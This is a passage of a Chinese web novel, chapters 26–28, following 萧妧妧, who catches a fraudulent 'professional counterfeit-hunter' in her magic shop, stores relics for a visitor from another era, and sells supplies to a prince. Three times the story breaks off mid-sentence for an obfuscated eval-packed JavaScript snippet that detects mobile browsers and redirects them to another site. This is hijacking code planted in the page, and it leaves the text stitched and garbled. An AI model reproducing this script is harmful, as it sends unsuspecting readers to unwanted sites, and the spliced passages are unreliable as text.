“两位晚上好我是住你们对门的萧妧妧这间小卖部也是我们家的我就不打扰你们了你们随意挑选。” 一口气不带停顿的说完，萧妧妧没给他们开口机会，使出前所未有的力气，扛起充气娃娃夺门而出。 黎行墨看她跑得飞快，默了默，转身走到柜台边。 “糟了，大哥我忘了小月亮要哪种口味的棒棒糖。” 后院，萧妧妧躲在门边偷看一眼，兄弟俩不知道在做什么，抱着手机磨磨蹭蹭。 小院黢黑，这么一看，露出一张极度仿真脸的充气娃娃怪渗人的。 时间紧，萧妧妧借不到合适又逼真的人形道具，顺手从垃圾站搬走了包裹严实的充气娃娃凑合用。 捡的时候没人看见，萧妧妧以为还回去也能悄无声息，哪知道事情结束了反而害得她社死。 怕裹着一层血浆丢回垃圾站吓到环卫工，报警闹出笑话，萧妧妧认命地戴上手套拆纱布，而后冲掉血浆装进蛇皮袋，晚上回家的时候再顺路扔掉。 刚扒下一层纱布，萧妧妧忽然听见小卖部传来哗啦啦的声响，手上动作不由停下。 萧妧妧侧耳听了一会，里面说话声断断续续。 “不会把货架撞倒了吧？”萧妧妧不放心，念叨一句，摘掉手套和围裙往小卖部走。 才推开门，不等她进去，抬眼便看到身上沾了血浆的黎行墨和他大哥。 这是……？ 萧妧妧一头雾水的进去，“你们怎么弄成……他是谁？” 走进去没两步，萧妧妧便听到哼哼唧唧的声音，一低头，才发现兄弟俩一左一右按住一个陌生男人。 陌生男人抱着胳膊哼哼，几次大力挣扎都让黎行墨拽回来。 “这人鬼鬼祟祟，我们以为他要偷东西，制止的时候发现他从包里掏出来这个，准备放在冷藏柜里。”黎行墨一边关注眼镜男，一边和萧妧妧解释。 萧妧妧走过去接住东西一看，就是一盒普通的便当，侧过来再仔细一看，她总算发现不对劲。 是过期两天的普通便当。 萧妧妧当即反应过来，她这是碰上职业打假人了。 真打假没关系，她巴不得有人为消费者维权，萧妧妧自己也跟着受益，可打着正义的幌子做出敲诈勒索的行径，和犯罪有什么区别？ 萧妧妧立刻掏出手机报警。 “喂？警察叔叔，月牙巷188号不倒闭小卖部，有人在店里投毒。” “你他妈胡说什么呢？谁投毒了？你看到了吗你？小心我告你诽谤！” 萧妧妧一说出投毒两字，眼镜男跳起来叫嚣，眼睛几乎瞪出眼眶，一脸狠相。 黎行聿胳膊一扭，把人用力往下压，直到眼镜男肥硕脸颊贴在柜台上，五官挤得狰狞变形，只能张着嘴巴嗷嗷叫疼。 黎行聿突然动手，别说眼镜男，萧妧妧跟着吓了一跳。 她看一眼黎行聿紧绷的手臂肌肉，又去看他将近一米九的个头，难怪一招就能压得圆滚滚的眼镜男无法挣脱。 “我们陪你等警察。”黎行聿开口。 萧妧妧狠狠瞪一眼眼镜男，转身去看黎行墨和黎…… “黎行聿。”他说。 萧妧妧仰头看向他们：“谢谢你们啊，要不是你们帮忙，他今天投毒成功，这东西不知道要进谁肚子里。” “你们没受伤吧？” 她目光瞄向黎行墨和黎行聿身上的血痕。 进门时两人一身干净的运动速干衣，看起来是刚运动结束，现在嘛，看起来是刚犯罪结束。 想到他们三人动过手，萧妧妧无法确定，是蹭到人造血浆，还是真受伤流血。 黎行墨摇头：“人造血浆。” 萧妧妧松了一口气。 她是知道开店容易碰到牛鬼蛇神的，可没想过会是在不倒闭小卖部营业没多久碰上。 这回是她运气好，对门邻居撞见把人按住了，否则这亏她吃定了，少说要赔大几千。 赔钱是其次，万一传出不倒闭小卖部卖过期商品的流言，以后谁敢上门啊。 生意的事不说，街里街坊的，以后都不好做人。 断人钱财犹如杀人父母，杀父杀母之仇，萧妧妧越想越气，越气越想干点什么。 趁警察没来，萧妧妧抬脚踹向眼镜男的裆部。 听他嗷的一声惨叫，想捂没手捂的窘状，萧妧妧终于气顺了。 对上黎行聿和黎行墨看过来的目光，萧妧妧礼貌微笑，保持沉默。 好在兄弟俩只是多看她一眼，并未说什么。 萧妧妧又瞪了一眼眼镜男，跑去柜台后面调取监控备用，视频刚导出来，警察上门了。 果然，是月牙巷派出所的两位民警，萧妧妧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491450|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认得他们。 “周警官，李警官，就是他投毒。” 两位警官倒是没看眼镜男，先是注意到他们身上的血迹。 萧妧妧：“这是人造血浆，他们动手的时候蹭上了，不是真的血，没人受伤。” 两位警官松了一口气，他们差点要叫救护车。 “行，是他投毒是吧？跟我们回去一趟。”周警官走到黎行聿身边，铐住眼镜男带走。 眼镜男这下慌了，抱着周警官胳膊哭哭啼啼，否认投毒。 萧妧妧默默上前，递去过期便当，“这是他塞到小卖部冷藏柜的，正好让人抓着，人赃并获。” 李警官接过便当，“是你们两把人抓住的？那配合一下，一起去所里了解了解情况？” 得，四人都要走一趟。 萧妧妧只能匆匆关上店门，跟警察回派出所。 路上，萧妧妧注意到姓黎的兄弟俩先后接了几通电话，尴尬地挠挠头。 “那个……太谢谢你们了，是不是耽误你们时间了？抱歉抱歉。” 除了感谢和表达歉意的场面话，萧妧妧也不知道说什么好。 “这不是显而易见吗？” “应该的，配合警察工作。” 黎行墨双手环胸，直截了当的承认，和在云昭昭面前绅士作风完全两副面孔，噎得萧妧妧说不上话。 黎行聿的回答则委婉体面不少。 兄弟俩截然不同的回应同时响起，萧妧妧更尴尬了，脚趾蜷缩。 就在萧妧妧眼神飘忽不知道该怎么办的时候，黎行聿递来一包纸巾。 萧妧妧抬头，不明所以地看他。 黎行聿指了指自己的脸。 她掏出手机照了照，看清自己此刻的尊容后，忍不住倒吸一口气。 难怪警察叔叔吓一跳，人造血浆几乎沾了大半张脸，乍一看怪吓人的。 萧妧妧小声道谢，接过纸巾擦掉脸上手上的血浆。 等她擦干净手和脸，一行人已经走到派出所门口。 萧妧妧仰头看一眼招牌，低声嘀咕：“我还是第一次进派出所呢，” 黎行墨跟着抬头看招牌，“谁不是呢。” 黎行聿越过两人，径直走进矮楼。 萧妧妧看了看黎行墨，又看了看黎行聿，迈步跟上。 有萧妧妧投毒的指控在前，眼镜男一进审讯室便交代了自己职业打假人的身份，还交代了自己是如何操作，敲诈多家便利店的过程。 萧妧妧纯纯受害者，对事情经过知之甚少，简单聊了几句便结束。 黎行聿和黎行墨那里有便利店监控做为证据，他们没多久也结束了谈话。 三人前后脚离开派出所，天色黑沉，已是晚上九点多。 萧妧妧叹气，这一天天的，可真精彩啊。 叹完气，萧妧妧掏出手机，转身背对派出所大门，来一张合影。 调整角度咔咔两张，没等她换姿势，余光瞥到不远处的黎行聿和黎行墨，两人半侧着身看过来。 黎行墨的眼神最好懂，明晃晃的写着无语两个字。 萧妧妧耳根子发烫，手脚都不知道怎么摆，“嘿嘿，纪念一下人生中第一次进派出所，你们先走，不用管我。” 两个大活人盯着看，萧妧妧不好意思再换姿势自拍，催他们先走。 可两人走了几步便停下，明显是换个地方等她，怪贴心的。 萧妧妧只好收了手机，加快脚步。 26. 第 26 章 两人刚搬来不久，不熟悉附近街道，萧妧妧便走在前面带路。 将近晚上十点，月牙巷已经看不到多少游客，街边只有几家24小时营业的铺子亮着灯。 拐出去两百米，靠近月牙巷景区入口，萧妧妧看到热热闹闹大排长队的烧烤店。 萧妧妧一拍脑门，扭头看向他们：“你们帮了我大忙，哪天有空我请你们吃顿饭？” 他们帮她避免了大几千的损失，萧妧妧认为该表示表示，顺带在男主面前刷好感，别总想着弄死她。 这一点萧妧妧还是有信心的，女配能有坏结局，一半是她自己作，故意凑上去惹人不痛快，别说男女主，萧妧妧自己都想钻进书里给女配两巴掌。 女配做的事，萧妧妧可是一件没做过，不仅没做过，她和云昭昭的关系也比故事里要好很多。 黎行聿礼貌拒绝，“举手之劳，吃饭……” 黎行墨忽然拽住黎行墨的胳膊，插话，“好啊，我们可以去你家吃吗？” 萧妧妧诧异一会，指着自己重复，“去我家？” 兄弟俩一看就知道是谁做主，萧妧妧去看黎行聿的态度。 黎行聿半侧身，淡淡瞥着自己的亲弟弟。 黎行墨落后一步走到萧妧妧身边，假装看不见大哥眼底的警告。 “不是说要感谢我们吗？ 请我们去家里吃顿饭不过分吧？ 以后都是邻居，吃顿饭不是很正常？ 云老师还在我家当家教，大家都是熟人，更应该吃顿饭了吧？” 句句不离饭，好像八辈子没吃过饭一样，直到最后一句，萧妧妧哪还听不出来，醉翁之意不在酒，在云昭昭。 算盘珠子都要崩脸上了，呸！ 故事里的黎行墨就是这么个性子，一见钟情云昭昭后便想方设法的靠近她，热情霸道占有欲超强的大狼狗一枚。 云昭昭反射弧长，根本察觉不到他的险恶用心。 如果拒绝的话，算不算阻拦男女主发展感情线？ 萧妧妧陷入了纠结。 “看来萧小姐也不是真心想感谢我们啊……”黎行墨看她半天没应声，阴阳怪气的来了这么一句。 “你可别乱说啊，我是在思考吃什么，时间你们定？” 萧妧妧自己夸下海口要请客，没有反悔的道理，而且在自家请客，省钱。 “这个周末吧，怎么样？” 黎行墨越过黎行聿，和萧妧妧讨论哪天吃饭的事。 萧妧妧当然是主随客便，爽快点头应下。 事情敲定，黎行聿不好出声反对，冲着萧妧妧微微颔首，“叨扰了。” 萧妧妧摆摆手，“这算什么叨扰，本来就是要感谢你们帮忙的。” 说话间，三人回到了不倒闭小卖部附近。 萧妧妧仰头问：“对了，你们当时去店里要买什么来着？” 黎行墨掏出手机，翻开照片递给她看。 “棒棒糖？”萧妧妧看一眼手机，又看向黎行聿确认他们不是开玩笑。 “小月亮闹着要吃棒棒糖，她说你这里有卖。”黎行聿解释。 黎行墨补充：“小月亮是云老师在南市的第一个学生。” 萧妧妧看一眼图片，上面的棒棒糖普通便利店找不到，只有她的店铺有货，因为是外国品牌，暂时没进入国内市场，进货渠道少，且利润不高。 但她自己爱吃。 萧妧妧自己开小卖部，当然是自己爱吃什么卖什么，卖不完通通进自己肚子。 “你们等我一会。”萧妧妧转身往小卖部跑。 再回来，她怀里多了一整盒棒棒糖。 “耽误你们买东西了，小孩子闹起来不好哄，这些全送给她吧。”萧妧妧径直把棒棒糖塞给黎行墨。 黎行墨沉默了一会，瞥她一眼，不情不愿的低声道谢，接下。 萧妧妧多看他一会，确实有点违和，难怪他别别扭扭。 抿抿唇，忍住笑意，萧妧妧又递去两根棒棒糖，他们一人一根。 下意识接过东西的兄弟俩齐齐低头，看看躺在手心里的棒棒糖，抬眸，疑惑目光落在萧妧妧脸上。 萧妧妧：“大盒是给小月亮的，这两根是给你们的。” 说着，萧妧妧从口袋掏出第三根棒棒糖，扯开包装纸塞进嘴里。 是她自己想吃了，可又不好意思吃独食。 不过他们好像不太爱吃的样子。 有土著萧妧妧在，三人抄近路回家，路上遇见邻居纳凉，她暗道一声失策。 “呦，妧妧回来了，听说你和人打架了？” “都进派出所啦，好多人看见呢，说你身上还有……哦，血还在，怎么打成这样啊？人没事吧？” “当然没事了，妧妧好端端站着呢，真出事了早躺医院去了。” 街坊邻居看到萧妧妧，纷纷搭话打听，打听她怎么一身血，打听她为什么进派出所。 “妧妧，你不会是跟他们打的吧？”一阿姨指着黎行聿黎行墨，“他们身上也有血，还不少呢。” “没有的事，他们见义勇为来着，叔叔阿姨爷爷奶奶晚上好，我先走了啊。” 萧妧妧一边硬着头皮应付邻居，一边加快脚步逃离八卦中心。 她发誓，绝对绝对不能暴露她对充气娃娃做的那些事。 “十几年的邻居嘛，难免热情了点，你们会习惯的。” 议论甩在身后，萧妧妧长舒一口气，看到黎行墨黎行聿兄弟俩表情同步，紧拧眉头一副不太习惯的无措样，出声解释一句。 黎行墨回头看一眼，对萧妧妧那一句热情的评价不置可否。 距离春山居没多远了，不过三两分钟，已经能看到红彤彤的灯笼。 灯笼下，云昭昭蹲在门边，看清走来的三人中有萧妧妧，起身迎上去。 “妧妧姐你怎么没回消息啊，我去店里找你，结果店里也关门了。” 萧妧妧掏出手机看了一眼，有好多未接来电和未读消息压在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491451|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最下面。 “出了点意外，事情刚结束。” 挽上萧妧妧的胳膊，云昭昭迟钝注意到旁边的黎行墨和黎行聿。 下班时间看见老板，云昭昭浑身一僵，而后站得笔直，拘束地打招呼。 “学长，黎先生。” 明明是和兄弟俩说话，黎行墨却最先站出来回应，硬生生转变成他们两人之间的对话。 “小月亮在你那里还好吗？” 云昭昭：“小月亮很乖，写完作业送回刘阿姨那里，现在应该睡着了。” 被撇在一边的萧妧妧耸耸肩，老老实实充当电灯泡。 好在只说了几句话，黎行聿制止了散发魅力的黎行墨。 目送两人走向231号，云昭昭接着问：“妧妧姐，你还没说发生什么事呢，他们……” 萧妧妧：“没什么，他们帮忙抓住了职业打假人，后来一起去了一趟派出所。” 云昭昭听得一愣一愣的，“黎先生见义勇为？” 她侧身回头看向231号门口即将消失的身影。 “黎先生看着挺冷淡的，没想到是个好人。”云昭昭随口感叹。 萧妧妧神情微囧，什么叫‘没想到是个好人’。 云昭昭重新措辞：“黎先生挺客气礼貌的，但是总感觉很清冷，像是事不关己高高挂起的那类人，我只是没想到，他还会帮忙抓贼。” 萧妧妧回想一下，也不能怪云昭昭会在没深交的情况下产生刻板印象。 黎行墨和黎行聿兄弟俩面容略微相似，不过黎行墨的眉眼稍显精致秀气，面部轮廓柔和，很容易给人留下好印象，接触之后才会惊叹他霸道的性子。 黎行聿则不然，相似的五官在他脸上更加深邃，再有棱角分明的面部轮廓帮忙，看起来冷冷淡淡，不太好说话，如果面部表情不够柔和，或者表现的严肃一点，整个人便散发着高不可攀的冷酷感。 这样一张男模脸发起怒来，杀伤力会很强，配上他的身高压迫以及上位者的气势，萧妧妧轻易能理解许经理为什么要愁眉苦脸。 尤其兄弟俩差了一些岁数，黎行聿是成熟稳重的社会人士，喜怒不形于色，看不透。 黎行墨年纪轻，是A大的学生，假期后才大四，脸上有年轻人的蓬勃肆意，喜怒哀乐挂在脸上，轻易看出他的情绪。 这么一对比，云昭昭自然是对黎行墨的印象更好了。 萧妧妧想到什么，忽然顿住脚步。 “昭昭，你觉得兄弟盖饭怎么样？” 云昭昭满脸茫然，“兄弟什么？什么盖饭？妧妧姐，这是什么意思？” 萧妧妧捂脸，怎么嘴巴一秃噜就问出声了。 “咳咳，没什么，附近有一家兄弟盖饭，味道不错。”她清清嗓子，懊恼地转移话题。 云昭昭的注意力是转走了，萧妧妧的还没有。 她合理怀疑，第三个野男人就是黎行聿！ 兄弟盖饭什么的，多香啊，谁能忍住不好这一口？ 27. 第 27 章 第二天不到六点，萧妧妧收拾齐整打着呵欠出门。 她也想睡懒觉，可昨天走得仓促，店里一片狼藉未清理，由不得她偷懒。 垂头丧气地打开感应门，看货品散落一地，人造血浆干透黏在瓷砖上，装神弄鬼用的工具毫无规律的堆在后门附近，萧妧妧长叹一口气。 拉闸开灯开空调，养生壶煮上八宝茶，萧妧妧撸起袖子整理货架，补充货品。 职业打假人上门闹事，萧妧妧绷紧了皮，着重检查货品的保质期。 只收拾货架这一项工作，萧妧妧足足忙了一个多小时。 等她开始清扫地面，规整杂物，时间已经来到八点，月牙巷临街商铺陆续营业。 萧妧妧抓紧时间，先把小卖部打扫干净，杂物先丢到院子里。 忙忙碌碌一早上，没等她歇口气，游客接连光顾。 快到午饭的点，日头毒辣，萧妧妧总算闲下来。 “欢迎光临~” “妧妧，我把东西送来了，剩下的要拜托你帮忙了。” 刚说要歇下来，苏娇娇紧跟着出现，这回她换了个打扮，身穿低调的深色格纹旗袍。 苏娇娇眼底挂了两团青黑，但精神状态极好，一点看不出昨日的焦躁不安。 “妧妧，我来送东西，这是其中一箱，其他的我再去搬。”苏娇娇快活极了，牛皮行李箱轻轻放在柜台上，转身便要穿过结界。 萧妧妧赶紧把人叫住，去后院推来小拖车。 “一趟趟跑多麻烦，用它吧。” 苏娇娇歪头打量一眼，语气轻快的道一声谢，推着拖车出门。 萧妧妧帮不上忙，守在门边等着接应，两分钟左右，小拖车很快冒出头，她扶住箱子，引导拖车进门。 苏娇娇娇生惯养，没做过力气活，这一趟下来，累得她直喘气。 萧妧妧给她递去一杯水，转头观察半人高的大木头箱子，以及那个小牛皮箱。 苏娇娇看她好奇，缓缓喘息：“里面是些什么我也不知道，我听接头人说，木箱子里的东西易碎，要小心保管，行李箱中放着书籍字画一类的东西，务必小心水火。” 萧妧妧眼睛唰一下锃亮，“字画？” 天呐……那岂不是价值连城？ 哇了一声，萧妧妧便收了心思，价值连城那也不是她能肖想的，不出意外，这些东西的归宿多半是各大博物院。 苏娇娇微笑着看萧妧妧，见她眼睛一亮又一亮，心思一动。 “妧妧，你喜欢字画？” 萧妧妧嘿嘿笑，挠挠头，“谈不上喜欢不喜欢，只是有点历史的字画在我们这里很受欢迎，能卖出去好多好多钱。” 苏娇娇垂下眼帘，若有所思。 萧妧妧暗道一声糟糕，这话说的太不合时宜。 她收敛笑容，竖起手发誓：“你放心，我这人很有原则的，什么事能做什么事不能做我心里清楚。它们放在我这不会出一点纰漏。” 只发誓明显不够用，萧妧妧去找合适的东西帖子箱子开口处，好让苏娇娇放心。 苏娇娇愣了一会，忙拦住她。 “我当然相信妧妧，我想到了另一件事，不是怀疑你的意思。” 苏娇娇正好想不到要怎么感谢萧妧妧，她出主意出力气，又耗费一整天时间帮忙解决困境，助她顺利接头。 给金条固然实在，但太不讲究，略显敷衍。 给珠宝首饰，苏娇娇不确定萧妧妧会不会喜欢，她好像从没见萧妧妧戴过饰品。 其他的东西，苏娇娇一时半会想不起来，主要是看不出萧妧妧缺什么喜欢什么。 萧妧妧观察一会苏娇娇的神态，不像是作假，心里松了一口气。 苏娇娇休息一会，推着小拖车出门，萧妧妧才发现东西出乎意料的多。 七个大木箱，六个牛皮行李箱，占据了小卖部能看到的所有空地，萧妧妧只帮忙卸货都累得麻木了。 当着苏娇娇的面清点一番，萧妧妧毫不遮掩，大小箱子统统装进系统空间。 “这是……它们消失了？” 看到它们凭空消失，苏娇娇心里一咯噔，完全是出于对萧妧妧的信任才冷静下来。 萧妧妧点头：“对，藏在只有我知道的安全地方。” 说着话，萧妧妧又把大小箱子挪出来，苏娇娇看它们一会消失一会出现，既觉得神奇又觉得安心。 “东西放在小卖部我自然是不担心的，等我回云城碰上接头的同志再来取东西，这段时间就拜托你了。” 想起前些日子防备小卖部的自己，苏娇娇不由自嘲的笑了笑，什么鬼铺子，这分明是老天派拯救她的。 不说文物的事，只转移电台那次，如果没有萧妧妧，没有不倒闭小卖部，苏娇娇恐怕连命都保不住。 不止是她的命，深海同志也将面临暴露的风险，整个站点陷入危机。 苏娇娇不想便罢，一旦开头，情绪上头控制不住，紧紧抱住萧妧妧。 萧妧妧嘴角噙笑，身子酸酸麻麻，成就感倏然间充斥心头，整个人飘飘然。 看，她可是帮上大忙了呢，苏娇娇都快感动哭了。 她和不倒闭小卖部是苏娇娇、龙傲天、申明月的金手指，系统和小卖部是她的金手指。 拥有金手指的女配总不能还混得惨兮兮吧？ 萧妧妧忽然身子一轻，压在心上的巨石在顷刻间崩裂，连一粒碎块都不曾留下。 剧情早已经改变了，女配的结局怎么能算她的结局呢？ 故事里，资助云昭昭的是张芸和萧大明，收留云昭昭是夫妻俩的决定。 家里的住客、邻居，凡是女配有好感的男人都对女主青睐有加，这让面对云昭昭充满优越感的女配无法忍受，接二连三的刺激下，继而做出一些昏头的荒唐事。 可现在不同，资助云昭昭的是萧妧妧，想收留云昭昭的是萧妧妧，不管是季随还是黎行墨，萧妧妧只把他们当成普通人看待，生不出别的心思。 剧情歪成这样，她有什么好担心的？ “怎么了？你想什么呢？” 苏娇娇抱了抱萧妧妧，感念自己运气好，感念完就发现萧妧妧瞪着眼睛在发呆，不知道她 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“你们知道吗？行动队当晚撤走，根本没人敢守着。” “你还说，行动队那几个二鬼子吓疯啦，听说送去医院的时候，看到医生护士就嚎鬼鬼鬼的。” “真那么吓人啊？不会是有人装神弄鬼吧？” “怎么装？我听我二姑家的表叔的三堂弟说，那鬼就贴你脸前，你一开枪，嘿，消失了，等你要跑，那女鬼又冒出来追你，驾着雾追你，多吓人啊。” “千真万确假不了！那女鬼还会控火，行动队的说，多半是女妖怪，她飘起来的的时候比人跑得都快，吓死人。” “我知道我知道，手一挥，天上一片火光，手再一挥，又是一片火光，闹鬼的地方留了一滩血，码头上还多出来一双绣花鞋，太渗人。” “嗨，估计是女鬼也看不惯他们吧，正好，看他们以后还敢不敢放肆，真当云城是他们的地盘了。” 一路从码头走到茶馆，苏娇娇累得脚抽筋，可心情却是无比的激荡雀跃。 老码头闹鬼的消息沸沸扬扬，云城无人不知。 茶摊上，聊得兴起的工人们不会知道，从他们身边路过的低调女人便是他们口中的女妖怪。 不倒闭小卖部。 萧妧妧送走苏娇娇，以为自己终于能坐下来喝口时，小卖部迎来了许久没露面的老顾客。 “欢迎光临~” 看店神器响起，萧妧妧扭头看向后门，见是龙傲天还有些意外。 “稀客啊，太子殿下这次来是给我送千金的？” 萧妧妧上下打量，看他穿戴华贵逼人，似乎刚从正式场合回来，精气神稍显萎靡，像霜打的茄子，于是笑眯眯和他攀谈。 这恹恹的模样，怎么看怎么像是被打击到了，不用猜，一定是她提前透露的剧情都一一发生，分毫不差，龙傲天这是受大刺激了。 他冷冷淡淡地瞥一眼萧妧妧，随口应一声，而后脚步沉重地走进来。 “喏，你的千金。” 28. 第 28 章 木匣子随手往柜台上一搁，啪嗒一下，听着挺沉的，但…… “这有千金？是不是太小了点？” 萧妧妧仔细瞅了瞅木匣，失望于木匣不是金丝楠木制作，随即怀疑地抬头看他。 怀疑他缺斤少两。 龙傲天没什么兴致说话，当着萧妧妧的面打开匣子。 一排排的元宝，满当当，确实很震撼，更震撼的是萧妧妧。 “这不是银锭吗？说好的千金呢？” 萧妧妧不太高兴，金大腿也学会画大饼了？说好的千金换成千银，换谁谁能高兴啊。 龙傲天不解：“一千两银锭，怎么不算？” 萧妧妧听明白了，她听到的千金是千两黄金，龙傲天嘴里的千金，是千两金钱。 她掏出手机一查，瞬间泄气。 古代的“赏千金”里的金指得是银锭和铜钱，不是黄金，萧妧妧理解有误，不能算龙傲天故意坑骗。 还是吃了没文化的亏啊。 幸好龙傲天没送黄铜，否则这落差能气得她心梗。 如果银锭当真有千两，换算过来是二十多万，不亏。 多看一眼木匣，萧妧妧面色稍霁。 “不说银锭了，上回告诉你的消息没错吧？”萧妧妧没去看糟心的“千金”，和龙傲天说起正经事。 龙傲天一拳头锤在柜台上，“我待七弟一向不薄，我实在想不通，萧老板，你知道七弟要陷害我，你不如直接告诉我，他到底是为什么？” 萧妧妧的心情不比龙傲天好多少，说话便少了点委婉，“还能为啥，皇位呗。” 龙傲天忽然哽住，瞪着萧妧妧说不出话。 “哎……”龙傲天继续叹气。 萧妧妧又不是开心理诊所的，没空为他疏导，她指了指身后展示柜，一心卖货。 “你上回说要全买下的，还算数吗？” 龙傲天掀起眼皮子瞅一眼，“买！” 萧妧妧总算舒坦了，嘴角微弯，“我说给你打折也是算数的，你看啊，这么大件的琉璃，一百两金子不贵吧？每件我都给你算九折，便宜吧？一共四件，三百六十两金子，我再给你抹零，算三百五十两。” 计算器戳了几下，电子音报出数字三百五。 龙傲天没说什么，下巴微抬，“包起来吧，回头孤给你送金子来。” “好嘞！” 萧妧妧就喜欢和爽快的人交易，哼着歌打包东西。 龙傲天仍旧沉浸在自己的情绪中，烦躁了一会，忍不住开口谈起前面的话题：“萧老板，七弟既然构陷我不成，你说他还会不会出别的招？” 萧妧妧余光偏移一寸，瞥一眼龙傲天，没理会，摇头晃脑的包装琉璃。 龙傲天见萧老板不搭理他，哼了一声，道：“你若说出七弟下一步计划，下回我便给你千金，黄金千两。” “太子殿下大气！” 萧妧妧笑眯了眼，她现在就像龙傲天身边那个会喳喳喳的老太监，龙傲天说什么她都叫好。 “我只知道不出半月，七皇子会联合大臣上书，用花里胡哨的借口把你派去边疆打仗。” 边疆、打仗，龙傲天为一国储君，有资格接触朝政，一听到这两个词，脑海中已经过完一遍战势。 他不解：“蛮州确实有战役，不过胜算极大，七弟想拉我下马，为何挑这时候，岂不是给我送功劳？” 萧妧妧：“对啊，别人都当你是去抢功，毕竟大家都知道，七皇子与你关系和睦，他这么做，一定是受你指使。 谁知道七皇子背后使坏，断了朝廷支援军的粮草，一场必胜的战役因你而惨败……” 剩下的话不需说，龙傲天自己能领会。 抢功，断粮草，惨败，还戴上了个贪功冒进的帽子，这一遭后，军中将领多半是要记恨他了，以后绝不会为他驱使。 若是再经营一番，他草包的名头能传到民间，百姓怎么想？父皇怎么想？ 龙傲天思绪万千，面色黑沉得可怕。 萧妧妧缩了缩脖子：“我知道的可都告诉你了，这场战役你要是能赢，自然好说，无功无过，万一输了，那可是遭大罪。” 龙傲天闭了闭眼，几度深呼吸，萧妧妧一度担心他喘不上气憋死。 好在龙傲天心理素质还不错，冲击过后很快平复情绪。 “多谢萧老板愿意告诉我。”龙傲天抬手，躬身作揖。 萧妧妧踏踏实实的受了，“客气了，你是要付金子的。” 龙傲天瞥一眼柜台上一木匣的银锭，留下一句稍等，转身离开，再度进店，龙傲天手里多了一个木匣。 “这些是给萧老板的。” 萧妧妧疑惑：“这是哪一笔交易？该不会你要拿它抵黄金千两吧？” 新拿来的匣子稍小，看他拿匣子的动作，轻易分辨出里面的东西不重。 轻飘飘的，能是什么好东西。 龙傲天哼了一声，“孤说话算话，等老七联名上书的那天，孤立刻给你准备金子，这不是看你不喜欢银子，给你补点。” 萧妧妧哦了一声，拍拍胸口，暗道一声吓死人。 她接过匣子，不抱希望地打开…… “发簪？”萧妧妧扒拉一通，“怎么都是发簪？” 看了两场直播，萧妧妧学到不少知识，知道珍珠在古代是个好东西，在可以规模养殖的现代，那可不好说。 当然，是有名贵的珍珠，但人家讲究产地大小色泽等等，复杂着呢。 龙傲天：“库房里拿的，我们那的女子最爱珍珠发饰，孤正好得了一匣子。” 多少是点心意，萧妧妧勉为其难收下。 龙傲天看出萧妧妧的勉为其难，直接问：“萧老板不喜欢？” 萧妧妧怕他下次再拿珍珠糊弄人，弱声解释：“珍珠在我们这……很普通。” 龙傲天愣了愣，面颊迅速涨红。 “是我失礼了，”龙傲天再次作揖，“萧老板且等等。” 不等萧妧妧拒绝，龙傲天又一次离开。 这回轮到萧妧妧脸红了，搞得好像她索要好处一样。 大约三四分钟，龙傲天带来两个匣子，一个大些，但扁扁的，一个高一点，看起来沉甸甸。 “这是……？” “这一盒是买琉璃的钱，”龙傲天一一打开盒子，展示给她看，“这一盒是翡翠耳坠，一共十二对，出自同一块翡翠。” 萧妧妧惊呆了，眼睛根本看不过来。 左边匣子放着金锭，应该是五十两一锭，整整齐齐摆了七块金锭，淡淡金光耀眼夺目。 右手边的匣子也不简单，十二对翡翠耳坠形态各异，精致又可爱，它们的颜色很特别，肉眼看是略带灰调的淡淡紫色，温柔又优雅。 龙傲天仔细观察萧妧妧，见她眼底闪过欣赏与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491453|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欣喜，便知道这回没出错。 他把匣子推到萧妧妧面前，“多亏萧老板提前告知，今日才免遭陷害。” 萧妧妧恨不得拿起耳坠试戴，哪里舍得拒绝，“你的心意我收下了，它们很漂亮。” 龙傲天微笑，“现在，我们聊聊粮草一事？” 萧妧妧灵光一闪，“要从我这里买？” 龙傲天眸光闪了闪，微笑点头。 萧妧妧马上拿来纸笔，“说吧，要买什么，数量多少，对了，如果不知道怎么买，你把需求告诉我，我给你推荐。” 龙傲天想了想：“上回那个止血伤药，我要5000瓶，抵饱的食物多来些，够万人食用。” 萧妧妧抬眸看他，别听他嘴里说着不信，实际搁这未雨绸缪呢。 龙傲天无奈叹息：“先这些吧，东西多了我不好运出去，萧老板宽限我几日。” 他要拆包装重新塞进油纸包里，再瞒着各方耳目伪装好运出城，太难了。 老七要做那捕蝉的螳螂，可别怪他当黄雀，只要老七敢对粮草下手，定让他脱下一层皮。 萧妧妧一口应下，正好她短期内也凑不到这么多东西。 至于食物，里面的门道很多，得和龙傲天仔细商量。 是吃得好点还是吃得饱就好，萧妧妧问过龙傲天的想法后，果断选择压缩饼干。 初步商定结束，龙傲天从兜里掏出一枚金锭。 “这是预付的订金。” 